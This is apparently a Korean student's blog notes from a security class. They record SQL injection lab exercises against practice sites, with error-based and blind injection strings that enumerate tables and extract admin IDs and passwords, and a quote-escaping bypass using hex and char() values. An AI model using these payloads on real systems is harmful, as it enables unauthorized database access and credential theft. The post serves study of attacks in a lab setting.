네트워커의 보안 티스토리

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------


DB Schema 및 Data 알아내기 실습


: 대상 사이트 Camel


1. Table 명 찾기


2. 찾은 Table 중 회원 정보가 들어 있는 Table의 Column명 찾기


3. 위에서 찾은 정보로 계정 정보(ID, Password) 알아내기


#


테이블명 찾기


'and (select top 1 table_name from (select top 18 table_name from information_schema.tables where table_type='base table' order by table_name) as vtable order by table_name desc

)>1--


member

-----------


컬럼명 찾기


'and (select top 1 column_name from (select top 5 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc

)>1--


mem_id

-----------


컬럼명 찾기2


'and (select top 1 column_name from (select top 8 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc

)>1--


mem_pwd

-----------


ID찾기


'and (select top 1 mem_id from member)>1--


admin

-----------

그 다음 ID찾기


'and (select top 1 mem_id from member where mem_id!='admin')>1--


admin

-----------


비밀번호 찾기


'and (select top 1 mem_pwd from member where mem_id='admin')>1--


hacker

-----------




-- 연산자 비교기 때문에 비밀번호가 숫자일 시에는 오류가 발생하지 않는다.




* 방어법





절대적인 방어법은 아니지만은 중요한 방어법이다.


공격하려면 요청메시지를 더 많이 남겨야하고 그만큼 로그도 많이 남기 때문에, 공격탐지 확률도 올라간다.


이제 공격자는 BLIND SQL INJECTION 공격을 시도하게 된다.



* BLIND SQL INJECTION


찾고자하는 정보가 숫자로 되어있어서, 형변환이 되지않는 경우에도 사용한다.


참과 거짓을 제대로 처리해주는지 아닌지로 구분한다.


보통 쿼리문이 상당히 길기 때문에 툴을 사용한다.



맞다면 게시글을 제대로 보여주고 아니면 안보여줄 것이다.





- 문자 추출 함수

substring('문자열',몇번째부터, 몇개)







위 처럼 하나하나씩 찾게 된다


아니면 이분법을 사용한다.





1. 문자열의 길이를 찾아서 문자를 몇개 찾을지를 정한다.


len 함수


2. 문자를 이분법을 활용하여 하나하나씩 찾는다.


substring 함수






[SQL Injection 실습]


-Aircon 사이트의 관리자 계정 정보와 Database 이름을 찾으세요~


(DB 이름은 database()함수, 문자열길이는 length() 함수를 이용)


/etc/php.ini 파일의 아래 내용 확인후 진행


magic_quotes.gpc = Off





4.0 버전 이하에서는 information_schema_tables 가 없다.

하지만 이렇게 벡터가 뚫려있는 곳에서 쉽게 테이블, 필드명을 알아낼 수 있다.





select count(*) from products where p_name like '%'%'


%'and length(database())=6# 됨



%'and substr(database(),1,1)='a'#

%'and substr(database(),2,1)='i'#

%'and substr(database(),3,1)='r'#

%'and substr(database(),4,1)='c'#

%'and substr(database(),5,1)='o'#

%'and substr(database(),6,1)='n'#

%'and substr(database(),1,6)='aircon'#



%'and length((select A_id from admin limit 1))>5#


%'and length((select A_id from admin limit 1))=10#

%'and substr((select A_id from admin limit 1),1,1)='t'#

%'and substr((select A_id from admin limit 1),2,1)='e'#

%'and substr((select A_id from admin limit 1),3,1)='s'#

%'and substr((select A_id from admin limit 1),4,1)='t'#

%'and substr((select A_id from admin limit 1),5,1)='a'#

%'and substr((select A_id from admin limit 1),6,1)='i'#

%'and substr((select A_id from admin limit 1),7,1)='r'#

%'and substr((select A_id from admin limit 1),1,10)='testaircon'#


%'and length((select A_pass from admin where A_id='testaircon'))=10#


이런식으로 반복하여 비밀번호는 어느정도 유추해서 관리자로 로그인했다.









mysql에 홑따옴표를 자동으로 공백으로 바꿔주는 기능이 있다.








후 재시작.









홑따옴표 앞에 역슬래쉬가 붙는데, 이는 홑따옴표의 기능을 무마시킨다.


하지만 이 기능을 맹신하는 것은 절대 안된다.


이를 테스트하기 위해서 




cd /var/www/html/aircon/

cd board/


view view.php




id 전후에 있는 홑따옴표를 지운다.



vi ivew01.php









id 뒤에 홑따옴표를 붙이니 에러가 뜬다. 인젝션 벡터가 된 것이다.



&id=2 and length(database())>10


&id=2 and substring(database(),1,1)<m





위에  숫자로 끝나는 경우는 된다.

m은 문자열이라서 ' 처리해야하는데 홑따옴표가 자동으로 바뀌기때문에

아스키 코드를 사용해야한다.


m의 아스키코드는 0x6D 이다.



&id=2 and substring(database(),1,1)<0x6D (될수도 안될 수도 있다.

&id=2 and substring(database(),1,1)<char(0x6D)#

&id=2 and ascii(substring(database(),1,1))<0x6D#





테스트해봤는데 우회가 된다.



'정보보안' 카테고리의 다른 글

31일차 Stored Procedure  (0) 2017.03.22
DBMS 마다 다른 한개만 보기  (0) 2017.03.21
29일차 데이터 스키마, SQL 인젝션  (0) 2017.03.20
28일차 SQL Injection  (0) 2017.03.17
27일차 CSRF, SQL BASIC  (0) 2017.03.16